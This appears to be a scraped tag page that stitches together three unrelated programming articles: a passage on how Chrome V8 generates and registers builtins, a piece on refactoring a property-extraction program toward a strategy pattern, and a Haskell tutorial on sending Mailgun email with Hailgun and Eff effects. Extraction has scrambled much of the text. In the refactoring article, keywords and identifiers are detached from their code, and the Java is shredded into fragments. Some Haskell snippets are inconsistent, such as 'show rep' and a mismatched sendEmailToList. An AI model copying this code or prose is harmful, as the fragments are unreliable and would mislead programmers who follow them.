13.    CallInterfaceDescriptor descriptor(interface_descriptor);
14.    // Ensure descriptor is already initialized.
15.    DCHECK_LE(0, descriptor.GetRegisterParameterCount());
16.    compiler::CodeAssemblerState state(
17.        isolate, &zone, descriptor, Code::BUILTIN, name,
18.        PoisoningMitigationLevel::kDontPoison, builtin_index);
19.    generator(&state);
20.    Handle<Code> code = compiler::CodeAssembler::GenerateCode(
21.        &state, BuiltinAssemblerOptions(isolate, builtin_index));
22.    return *code;
23.  } Line 19 of the above code calls the generator function. Let’s take the TF_BUILTIN(RecordWrite, RecordWriteCodeStubAssembler) as an example to explain： 1.  TF_BUILTIN(RecordWrite, RecordWriteCodeStubAssembler) {
2.    Label generational_wb(this);
3.    Label incremental_wb(this);
4.    Label exit(this);
5.    Node* remembered_set = Parameter(Descriptor::kRememberedSet);
6.    Branch(ShouldEmitRememberSet(remembered_set), &generational_wb,
7.           &incremental_wb);
8.    BIND(&generational_wb);
9.    {
10.     Label test_old_to_young_flags(this);
11.      Label store_buffer_exit(this), store_buffer_incremental_wb(this);
12.      TNode<IntPtrT> slot = UncheckedCast<IntPtrT>(Parameter(Descriptor::kSlot));
13.      Branch(IsMarking(), &test_old_to_young_flags, &store_buffer_exit);
14.      BIND(&test_old_to_young_flags);
15.      {
16.        TNode<IntPtrT> value =
17.            BitcastTaggedToWord(Load(MachineType::TaggedPointer(), slot));
18.        TNode<BoolT> value_is_young =
19.            IsPageFlagSet(value, MemoryChunk::kIsInYoungGenerationMask);
20.        GotoIfNot(value_is_young, &incremental_wb);
21.        TNode<IntPtrT> object =
22.            BitcastTaggedToWord(Parameter(Descriptor::kObject));
23.        TNode<BoolT> object_is_young =
24.            IsPageFlagSet(object, MemoryChunk::kIsInYoungGenerationMask);
25.        Branch(object_is_young, &incremental_wb, &store_buffer_incremental_wb);
26.      }
27.      BIND(&store_buffer_exit);
28.      {
29.        TNode<ExternalReference> isolate_constant =
30.            ExternalConstant(ExternalReference::isolate_address(isolate()));
31.        Node* fp_mode = Parameter(Descriptor::kFPMode);
32.        InsertToStoreBufferAndGoto(isolate_constant, slot, fp_mode, &exit);
33.      }
34.      BIND(&store_buffer_incremental_wb);
35.      {
36.        TNode<ExternalReference> isolate_constant =
37.            ExternalConstant(ExternalReference::isolate_address(isolate()));
38.        Node* fp_mode = Parameter(Descriptor::kFPMode);
39.        InsertToStoreBufferAndGoto(isolate_constant, slot, fp_mode,
40.                                   &incremental_wb);
41.      }
42.    } //........................omit......................................
43.    BIND(&exit);
44.    IncrementCounter(isolate()->counters()->write_barriers(), 1);
45.    Return(TrueConstant());
46.  } TF_BUILTIN(RecordWrite, RecordWriteCodeStubAssembler) generates the source of RecordWrite. TF_BUILTIN is a macro template. After expansion, you can see that its member CodeAssemblerState* state that saves the generated code. The generated RecordWrite source code will be saved in the code structure. class Code : public HeapObject {
 public:
  NEVER_READ_ONLY_SPACE
  // Opaque data type for encapsulating code flags like kind, inline
  // cache state, and arguments count.
  using Flags = uint32_t;

#define CODE_KIND_LIST(V)   \
  V(OPTIMIZED_FUNCTION)     \
  V(BYTECODE_HANDLER)       \
  V(STUB)                   \
  V(BUILTIN)                \
  V(REGEXP)                 \
  V(WASM_FUNCTION)          \
  V(WASM_TO_CAPI_FUNCTION)  \
  V(WASM_TO_JS_FUNCTION)    \
  V(JS_TO_WASM_FUNCTION)    \
  V(JS_TO_JS_FUNCTION)      \
  V(WASM_INTERPRETER_ENTRY) \
  V(C_WASM_ENTRY)

  enum Kind {
#define DEFINE_CODE_KIND_ENUM(name) name,
    CODE_KIND_LIST(DEFINE_CODE_KIND_ENUM)
#undef DEFINE_CODE_KIND_ENUM
        NUMBER_OF_KINDS
  };
//..................omit We can see that builtins are classified in the code class. By the way, code is a heap object, which is managed by the V8 heap. we will explain the V8 heap object in future, Figure 1 shows the call stack. In SetupBuiltinsInternal(), we see that AddBuiltin() adds code to i::isolate, as below. void SetupIsolateDelegate::AddBuiltin(Builtins* builtins, int index,
                                      Code code) {
  DCHECK_EQ(index, code.builtin_index());
  builtins->set_builtin(index, code);
}
//..............separation......................
void Builtins::set_builtin(int index, Code builtin) {
  isolate_->heap()->set_builtin(index, builtin);
} The generated builtins will be inserted into the builtins_[Builtins::builtin_count] array, and finally the array will be mounted to i::isolate. 2. Builtin From a functional point of view, builtin covers many kernel functions such as ignition, bytecode, and ECMA specification functions. There are detailed comments in BUILTIN_LIST. There are seven types of builtin. #define BUILD_CPP(Name)
#define BUILD_TFJ(Name, Argc, ...) 
#define BUILD_TFC(Name, InterfaceDescriptor)  
#define BUILD_TFS(Name, ...) 
#define BUILD_TFH(Name, InterfaceDescriptor) 
#define BUILD_BCH(Name, OperandScale, Bytecode)  
#define BUILD_ASM(Name, InterfaceDescriptor) Let’s talk about BuildAdaptor. 1.  Code BuildAdaptor(Isolate* isolate, int32_t builtin_index,
2.                    Address builtin_address, const char* name) {
3.    HandleScope scope(isolate);
4.    // Canonicalize handles, so that we can share constant pool entries pointing
5.    // to code targets without dereferencing their handles.
6.    CanonicalHandleScope canonical(isolate);
7.    constexpr int kBufferSize = 32 * KB;
8.    byte buffer[kBufferSize];
9.    MacroAssembler masm(isolate, BuiltinAssemblerOptions(isolate, builtin_index),
10.                       CodeObjectRequired::kYes,
11.                        ExternalAssemblerBuffer(buffer, kBufferSize));
12.    masm.set_builtin_index(builtin_index);
13.    DCHECK(!masm.has_frame());
14.    Builtins::Generate_Adaptor(&masm, builtin_address);
15.    CodeDesc desc;
16.    masm.GetCode(isolate, &desc);
17.    Handle<Code> code = Factory::CodeBuilder(isolate, desc, Code::BUILTIN)
18.                            .set_self_reference(masm.CodeObject())
19.                            .set_builtin_index(builtin_index)
20.                            .Build();
21.    return *code;
22.  } The 14th line of code is responsible for generating the BuildAdaptor, and finally calls the following code: void Builtins::Generate_Adaptor(MacroAssembler* masm, Address address) {
  __ LoadAddress(kJavaScriptCallExtraArg1Register,
                 ExternalReference::Create(address));
  __ Jump(BUILTIN_CODE(masm->isolate(), AdaptorWithBuiltinExitFrame),
          RelocInfo::CODE_TARGET);
}
} Figure 2 shows the generated source code in char. : The generation of each builtin is different, but the method of analyzing and debugging the code is the same. Summary Okay, that wraps it up for this share. I’ll see you guys next time, take care! Please reach out to me if you have any issues. : qq9123013 : v8blink@outlook.com WeChat Email Also Published here

Let’s Understand Chrome V8 — Chapter 9: Builtin

What Refactoring is a tool used for making code more readable and understandable to humans, thereby maintainable. It does not effect the functionality. In fact it should not effect the functionality. Why Refactoring is necessary when you have other people reading your code. For that matter, if you revisit your code after a break, you may also find it difficult to understand. Refactoring also makes it easier to add new functionality and for others to utilize it in their code. So it is important to refactor code. How Let us look at the following example. Suppose I need to write a program as follows: Name: ‘ ’. extract-properties Description: Extracts and prints value of properties from file Input: (of type — xml | property | json ..) and file property names of values to extract (replaces the dynamic map key (if) found in the property values, with corresponding map values.) dynamic map Now we can split the problem into smaller problems as: properties from given file ( method should support file types like — xml, property, json.) Extract Extract placeholders with dynamic values Replace There are three ways to solve the problem. Procedural Object Oriented Functional Lets evaluate all three. Procedural Procedural way of solving the problem, method reads file content and calls method. main extract method parses the content based on type, using an if condition that calls the specific parse method and extracts the properties and returns these properties. extract method now call method to replace the placeholders with its dynamic values. main replace Now suppose you need to add another handler, say ‘YAML’ file type. You will need to : Add another if else block in ‘extract’ method. Advantages of the above approach: Ease to write when extensions/modification are limited. What are the disadvantages of the above approach? This causes a bottleneck on the extract method. In a team of developers, constant updates to a single entity by all the developers will result in merge conflicts. The extract method will increase in size as extensions are added. This will make it less readable. Having business logic interspersed with your I/O operations will result in unit test cases that will need actual resource versus a mock. The resource I/O operations code cannot be reused in other parts of the code as it is tightly coupled to the business logic. Object Oriented Let’s have a base class . This defines methods extract () and . needs to allow for custom implementation to support future enhancements. While needs to be common logic to be used irrespective of the custom extract implementation. ResourceHandler replace () extract() replace() We can model this as follows: As you see ResourceHandler has methods: handle(). This contains the business logic, which for our purposes can be as simple as: {
  extract();
  replace();
} Map public handle () protected abstract void extract() - contains logic to extract properties from file private void replace() - contains logic to replace properties from dynamic map Now the abstract method ‘extract’ needs to be overridden by its child classes: XmlResource JsonResource PropertiesResource Below is the main class. Advantages of this approach: This structure allows to add new extensions without modifying the base ‘handler’ method, that is invoked to extract and replace properties. So child classes cannot corrupt the business logic. There is no more a bottleneck on the extract method as it was with the procedural code. Now each custom extract method has it’s own implementation in it’s own class. This will reduce the possible merge-conflicts between multiple developers working on different custom extract implementation. Object ‘ResourceHandler’ is closed for modification while being open for extension. This is one of the pillars of the principle. For example if, ResourceHandler is shared as jar, it can still be extended to support additional resource types, but the underlying base logic is still restricted. SOLID Disadvantages: The IO logic to extract properties for given type, is still coupled to the business logic, due to the structure of the Base class. As the only public method is handle, which calls the extract method and replace method. So we cannot use extract in isolation. Functional Lets implement functional code using interfaces as follows: ResourceHandler interface defines a single method ‘extract’ that takes the file and list of properties to extract, and returns the corresponding extracted properties from the input file. We will utilize the ResourceHandler in the business logic, and inject the specific implementation in to the class ExtractReplace that encapsulates the business logic as follows: { Map extracted_properties; {
    Map props = handler.extract(file, properties);
    extracted_properties = replace(props, dynamic);
  } {...} { extracted_properties.toString();
  }
} class ExtractReplace private public ExtractReplace (File file, List properties,Map dynamic, ResourceHandler handler) Map private replace (Map properties, Map dynamic) @Override String public toString () return Now the main class will look like this: The main class creates an object of type ExtractReplace by passing an implementation of ResourceHandler Interface via the Lambda construct as seen. This demonstrates the capability to define adhoc anonymous implementations which do not need to be housed in a type of it’s own, thereby reducing structural complexity. We can also follow a more structured approach, where the different flavours of ResourceHandlers are housed in their own types. This structure allows to use XmlHandler/JsonHandler … objects independently for extracting properties. This is an advantage over Object-oriented approach shown above. The main class can create objects of specific types of ResourceHandler and pass them to the ExtractReplace class as follows: You can further decouple the if-else code for instantiating ResourceHandler by having a builder class (Using Builder Pattern). The enhanced ExtractReplace class with ‘builder’ pattern will look like this: { Map extracted_properties; { File file; List properties; Map dynamic; ResourceHandler handler; { .file = file; .properties = properties; .dynamic = dynamic; (file.getName().endsWith( )) .handler = JsonHandler(); (file.getName().endsWith( )) .handler = XmlHandler();
  } { ExtractReplace( );
    }
  } {
    Map props = builder.handler.extract(builder.file, builder.properties);
  } { ... } { extracted_properties.toString();
  }
} class ExtractReplace private static class Builder private private private private Builder static getInstance (File file, List properties, Map dynamic) this this this if ".json" this new else if ".xml" this new ExtractReplace public build () new this private ExtractReplace (Builder builder) Map private replace (Map properties, Map dynamic) @Override String public toString () return More on the builder pattern . here Advantages: Over and above the advantages that are provided by Object Oriented approach, this also separates the extraction logic from the business logic. Hence you can reuse this extract method. You can follow a structured approach by creating different implementation classes of ResourceHandler, which can be resused. You can also follow a adhoc anonymous approach using Lambda functions. This is useful if you are not reusing the extraction logic else where and want to reduce the structural complexity. Final Notes The above functional code is an implementation of Strategy pattern, similar to Collections.sort, where you can pass a custom Comparator implementation. As you can see the code is extensible, easier to consume, understand and extend.

Refactoring using Functional Programming

, we started our exploration of the world of APIs by integrating Haskell with Twilio. We were able to send a basic SMS message, and then create a server that could respond to a user’s message. This week, we’re going to venture into another type of effect: sending emails. We’ll be using for this task, along with the Haskell API for it. Last week Mailgun Hailgun You can take a look at the full code for this article by looking at the branch on our Github repository. If this article sparks your curiosity for more Haskell libraries, you should download our ! [mailgun](https://github.com/jhb563/HaskellApisSeries/tree/mailgun) Production Checklist Making an Account To start with, we’ll need a mailgun account obviously. Signing up is free and straightforward. It will ask you for an email domain, but you don’t need one to get started. As long as you’re in testing mode, you can use a sandbox domain they provide to host your mail server. With Twilio, we had to specify a “verified” phone number that we could message in testing mode. Similarly, you will also need to designate a verified email address. Your sandboxed domain will only be able to send to this address. You’ll also need to save a couple pieces of information about your Mailgun account. In particular, you need your API Key, the sandboxed email domain, and the reply address for your emails to use. Save these as environment variables on your local system and remote machine. Basic Email Now let’s get a feel for the Hailgun code by sending a basic email. All this occurs in the simple monad. We ultimately want to use the function , which requires both a and a : IO sendEmail HailgunContext HailgunMessage sendEmail  :: HailgunContext  -> HailgunMessage  -> IO (Either HailgunErrorResponse HailgunSendResponse) We’ll start by retrieving our environment variables. With our domain and API key, we can build the we’ll need to pass as an argument. HailgunContext import Data.ByteString.Char8 (pack)

sendMail :: IO ()sendMail = do  domain <- getEnv “MAILGUN_DOMAIN”  apiKey <- getEnv “MAILGUN_API_KEY”  replyAddress <- pack <$> getEnv “MAILGUN_REPLY_ADDRESS”  -- Last argument is an optional proxy  let context = HailgunContext domain apiKey Nothing  ... Now to build the message itself, we’ll use a builder function . It takes several different parameters: hailgunMessage hailgunMessage :: MessageSubject -> MessageContent -> UnverifiedEmailAddress -- Reply Address, just a ByteString -> MessageRecipients -> [Attachment] -> Either HailgunErrorMessage HailgunMessage These are all very easy to fill in. The is and then we’ll pass our reply address from above. For the content, we’ll start by using the constructor for a plain text email. We’ll see an example later of how we can use HTML in the content: MessageSubject Text TextOnly sendMail :: IO ()sendMail = do  …  replyAddress <- pack <$> getEnv “MAILGUN_REPLY_ADDRESS”  let msg = mkMessage replyAddress  …  where    mkMessage replyAddress = hailgunMessage      “Hello Mailgun!”      (TextOnly “This is a test message.”)      replyAddress      ... The type has three fields. First are the direct recipients, then the CC’d emails, and then the BCC’d users. We're only sending to a single user at the moment. So we can take the item and modify it. We’ll wrap up our construction by providing an empty list of attachments for now: MessageRecipients emptyMessageRecipients where  mkMessage replyAddress = hailgunMessage    “Hello Mailgun!”    (TextOnly “This is a test message.”)    replyAddress    (emptyMessageRecipients { recipientsTo = [“verified@mail.com”] } )    [] If there are issues, the function can throw an error, as can the function itself. But as long as we check these errors, we’re in good shape to send out the email! hailgunMessage sendEmail createAndSendEmail :: IO ()createAndSendEmail = do  domain <- getEnv “MAILGUN_DOMAIN”  apiKey <- getEnv “MAILGUN_API_KEY”  replyAddress <- pack <$> getEnv “MAILGUN_REPLY_ADDRESS”  let context = HailgunContext domain apiKey Nothing  let msg = mkMessage replyAddress  case msg of    Left err -> putStrLn (“Making failed: “ ++ show err)    Right msg’ -> do      result <- sendEmail context msg      case result of        Left err -> putStrLn (“Sending failed: “ ++ show err)        Right resp -> putStrLn (“Sending succeeded: “ ++ show rep) Notice how it’s very easy to build all our functions up when we start with the type definitions. We can work through each type and figure out what it needs. I reflect on this idea some more in this article on , which is part of our for newcomers to Haskell! Compile Driven Learning Haskell Brain Series Effify Email Now we’d like to incorporate sending an email into our server. As you’ll note from looking at the , I revamped the Servant server to use free monads. There are many different effects in our system, and this helps us keep them straight. Check out for more details on free monads and the Eff library. To start, we want to describe our email sending as an effect. We’ll start with a simple data type that has a single constructor: source code this article data Email a where  SendSubscribeEmail :: Text -> Email (Either String ())

sendSubscribeEmail :: (Member Email r)  => Text -> Eff r (Either String ())sendSubscribeEmail email = send (SendSubscribeEmail email) Now we need a way to peel the effect off our stack, which we can do as long as we have . We’ll mimic the function we already wrote as the transformation. We now take the user’s email we’re sending to as an input! Email IO sendEmail runEmail :: (Member IO r) => Eff (Email ': r) a -> Eff r arunEmail = runNat emailToIO  where    emailToIO :: Email a -> IO a    emailToIO (SendSubscribeEmail subEmail) = do      domain <- getEnv "MAILGUN_DOMAIN"      apiKey <- getEnv "MAILGUN_API_KEY"      replyEmail <- pack <$> getEnv "MAILGUN_REPLY_ADDRESS"      let context = HailgunContext domain apiKey Nothing      case mkSubscribeMessage replyEmail (encodeUtf8 subEmail) of        Left err -> return $ Left err        Right msg -> do          result <- sendEmail context msg          case result of            Left err -> return $ Left (show err)            Right resp -> return $ Right () Extending our SMS Handler Now that we’ve properly described sending an email as an effect, let’s incorporate it into our server! We’ll start by writing another data type that will represent the potential commands a user might text to us. For now, it will only have the “subscribe” command. data SMSCommand = SubscribeCommand Text Now let’s write a function that will take their message and interpret it as a command. If they text , we’ll send them an email! subscribe {email} messageToCommand :: Text -> Maybe SMSCommandmessageToCommand messageBody = case splitOn " " messageBody of  ["subscribe", email] -> Just $ SubscribeCommand email  _ -> Nothing Now we’ll extend our server handler to reply. If we interpret their command correctly, we’ll send the email! Otherwise, we’ll send them back a text saying we couldn’t understand them. Notice how our effect and effect are part of this handler: SMS Email smsHandler :: (Member SMS r, Member Email r)  => IncomingMessage -> Eff r ()smsHandler msg =   case messageToCommand (body msg) of    Nothing -> sendText (fromNumber msg)       "Sorry, we didn't understand that request!"    Just (SubscribeCommand email) -> do      _ <- sendSubscribeEmail email      return () And now our server will be able to send the email when the user “subscribes”! Attaching a File Let’s make our email a little more complicated. Right now we’re only sending a very basic email. Let’s modify it so it has an attachment. We can build an attachment by providing a path to a file as well as a string describing it. To get this file, our message making function will need the current running directory. We’ll also change the body a little bit. mkSubscribeMessage :: ByteString -> ByteString -> FilePath -> Either HailgunErrorMessage HailgunMessagemkSubscribeMessage replyAddress subscriberAddress currentDir =   hailgunMessage    "Thanks for signing up!"    content    replyAddress     (emptyMessageRecipients { recipientsTo = [subscriberAddress] })    -- Notice the attachment!    [ Attachment         (rewardFilepath currentDir)        (AttachmentBS "Your Reward")    ]  where    content = TextOnly "Here's your reward!”

rewardFilepath :: FilePath -> FilePathrewardFilepath currentDir = currentDir ++ "/attachments/reward.txt" Now when our user signs up, they’ll get whatever attachment file we’ve specified! HTML Content To show off one more feature, let’s change the content of our email so that it contains some HTML instead of only text! In particular, we’ll give them the chance to confirm their subscription by clicking a link to our server. All that changes here is that we’ll use the constructor instead of . We do want to provide a plain text interpretation of our email in case HTML can’t be rendered for whatever reason. Notice the use of the tags for the link: TextAndHTML TextOnly <a> content = TextAndHTML    textOnly   ("Here's your reward! To confirm your subscription, click " <>      link <> "!")  where    textOnly = "Here's your reward! To confirm your subscription, go to "       <> "https://haskell-apis.herokuapp.com/api/subscribe/"       <> subscriberAddress       <> " and we'll sign you up!"   link = "<a href=\"https://haskell-apis.herokuapp.com/api/subscribe/"      <> subscriberAddress <> "\">this link</a>" Now we’ll add another endpoint that will capture the email as a parameter and save it to a database. The effect very much resembles the one from the . It’ll save the email in a database table. Database Eff article type ServerAPI = "api" :> "ping" :> Get '[JSON] String :<|>  "api" :> "sms" :> ReqBody '[FormUrlEncoded] IncomingMessage    :> Post '[JSON] () :<|>  "api" :> "subscribe" :> Capture "email" Text :> Get '[JSON] ()

subscribeHandler :: (Member Database r) => Text -> Eff r ()subscribeHandler email = registerUser email Now if we wanted to write a function that would email everyone in our system, it’s not hard at all! We extend our effect types for both and . The function will retrieve all the subscribers in our system. Meanwhile the effect will send the specified email to the whole list. Email Database Database Email data Database a where  RegisterUser :: Text -> Database ()  RetrieveSubscribers :: Database [Text]

data Email a where  SendSubscribeEmail :: Text -> Email (Either String ())  -- First parameter is (Subject line, Text content, HTML Context)  SendEmailToList    :: (Text, ByteString, Maybe ByteString)    -> [Text]    -> Email (Either String ()) And combining these just requires using both effects: sendEmailToList :: (Member Email r, Member Database r) => ByteString -> ByteString -> Eff r ()sendEmailToList = do  list <- retrieveSubscribers  void $ sendEmailToList list Notice the absence of any calls! This is one of the cool strengths of . lift Eff Conclusion As we’ve seen in this article, sending emails with Haskell isn’t too scary. The API is quite intuitive and when you break things down piece by piece and look at the types involved. This article brought together ideas from both compile driven development and the Eff framework. In particular, we can see in this series how convenient it is to separate our effects with so that we aren’t doing a lot of messy lifts. Hailgun Eff There’s a lot of advanced material in this article, so if you think you need to backtrack, don’t worry, we’ve got you covered! Our will teach you how to use libraries like Persistent for database management and Servant for making an API. For some more libraries you can use to write enhanced Haskell, download our ! Haskell Web Skills Series Production Checklist If you’ve never programmed in Haskell at all, you should try it out! Download our or read our ! Haskell Beginner’s Checklist Liftoff Series

Stories, News & Mentions about MYHANDLER

Myhandler’s Stories on HackerNoon